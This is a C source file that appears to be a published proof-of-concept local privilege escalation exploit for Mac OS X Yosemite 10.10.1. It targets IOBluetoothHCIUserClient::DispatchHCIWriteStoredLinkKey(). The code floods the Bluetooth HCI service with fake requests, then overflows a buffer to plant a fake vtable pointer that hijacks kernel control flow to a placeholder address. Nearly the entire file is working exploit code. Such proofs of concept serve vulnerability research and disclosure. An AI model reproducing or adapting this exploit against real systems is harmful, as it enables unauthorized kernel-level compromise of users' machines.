/*
* lpe-issue1.c
* Written for Mac OS X Yosemite (10.10.1) by @joystick and @rpaleari.
*
* Exploits IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey()
*
* gcc -Wall -o lpe-issue1{,.c} -framework IOKit
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <IOKit/IOKitLib.h>
#define SIZE 0x1000
struct
BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};
#ifndef bswap64
# define bswap64(num) \
( (((uint64_t)(num) << 56) ) \
| (((uint64_t)(num) << 40) & UINT64_C(0x00FF000000000000)) \
| (((uint64_t)(num) << 24) & UINT64_C(0x0000FF0000000000)) \
| (((uint64_t)(num) << 8) & UINT64_C(0x000000FF00000000)) \
| (((uint64_t)(num) >> 8) & UINT64_C(0x00000000FF000000)) \
| (((uint64_t)(num) >> 24) & UINT64_C(0x0000000000FF0000)) \
| (((uint64_t)(num) >> 40) & UINT64_C(0x000000000000FF00)) \
| (((uint64_t)(num) >> 56) ) )
#endif
void
create_requests(io_connect_t port)
{
struct
BluetoothCall a;
uint32_t i;
kern_return_t kr;
for
(i = 0; i < 7; i++) {
a.args[i] = (uint64_t)
calloc
(SIZE,
sizeof
(
char
));
a.sizes[i] = SIZE;
}
/* DispatchHCIRequestCreate() */
a.index = 0x0;
*(uint64_t *)a.args[0] = 5*1000;
/* Timeout */
memset
((
void
*)a.args[1], 0x81, 0x1000);
memset
((
void
*)a.args[2], 0x82, 0x1000);
memset
((
void
*)a.args[3], 0x83, 0x1000);
memset
((
void
*)a.args[4], 0x84, 0x1000);
memset
((
void
*)a.args[5], 0x85, 0x1000);
memset
((
void
*)a.args[6], 0x86, 0x1000);
for
(i = 0; i < 500; i++) {
kr = IOConnectCallMethod((mach_port_t) port,
/* Connection */
(uint32_t) 0,
/* Selector */
NULL, 0,
/* input, inputCnt */
(
const
void
*) &a,
/* inputStruct */
120,
/* inputStructCnt */
NULL, NULL, NULL, NULL);
/* Output stuff */
if
(kr == 0xe00002bd)
/* Full */
break
;
}
}
int
main(
void
) {
struct
BluetoothCall a;
int
i;
void
*landing_page =
calloc
(SIZE,
sizeof
(
char
));
/* Init a */
for
(i = 0; i < 7; i++) {
a.args[i] = (uint64_t)
calloc
(SIZE,
sizeof
(
char
));
a.sizes[i] = SIZE;
}
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching(
"IOBluetoothHCIController"
));
if
(!service) {
return
-1;
}
/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if
(kr != kIOReturnSuccess) {
return
kr;
}
/* Populating with fake requests. */
create_requests(port);
/* IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() */
a.index = 42;
/* Req number */
*((uint32_t *)a.args[0]) = 1;
/* num_of_keys */
*((uint32_t *)a.args[1]) = 0x20;
/* Padding */
memset
((
void
*)a.args[3], 0x33, 152);
/* mov rdi, [r14+0AB8h] */
*((uint64_t *)(a.args[3]+152)) = bswap64((uint64_t)landing_page);
/* mov rax, [rdi] */
*((uint64_t *)((uint64_t)landing_page)) = (uint64_t)landing_page;
/* call [rax+0x1d0]: this will trigger a #GP calling 0x4141414142424242 */
*((uint64_t *)((uint64_t)landing_page+0x1d0)) = (uint64_t) 0x4141414142424242;
/* Here some fixing to the vtable is required to return cleanly after the exploit */
#if 0
/* Debug print */
for
(i = 0; i < 120; i++) {
if
(i % 8 == 0)
printf
(
"\n"
);
printf
(
"\\x%02x"
, ((unsigned
char
*)&a)[i]);
}
printf
(
"\n"
);
#endif
kr = IOConnectCallMethod((mach_port_t) port,
/* Connection */
(uint32_t) 0,
/* Selector */
NULL, 0,
/* input, inputCnt */
(
const
void
*) &a,
/* inputStruct */
120,
/* inputStructCnt */
NULL, NULL, NULL, NULL);
/* Output stuff */
printf
(
"kr: %08x\n"
, kr);
return
IOServiceClose(port);
}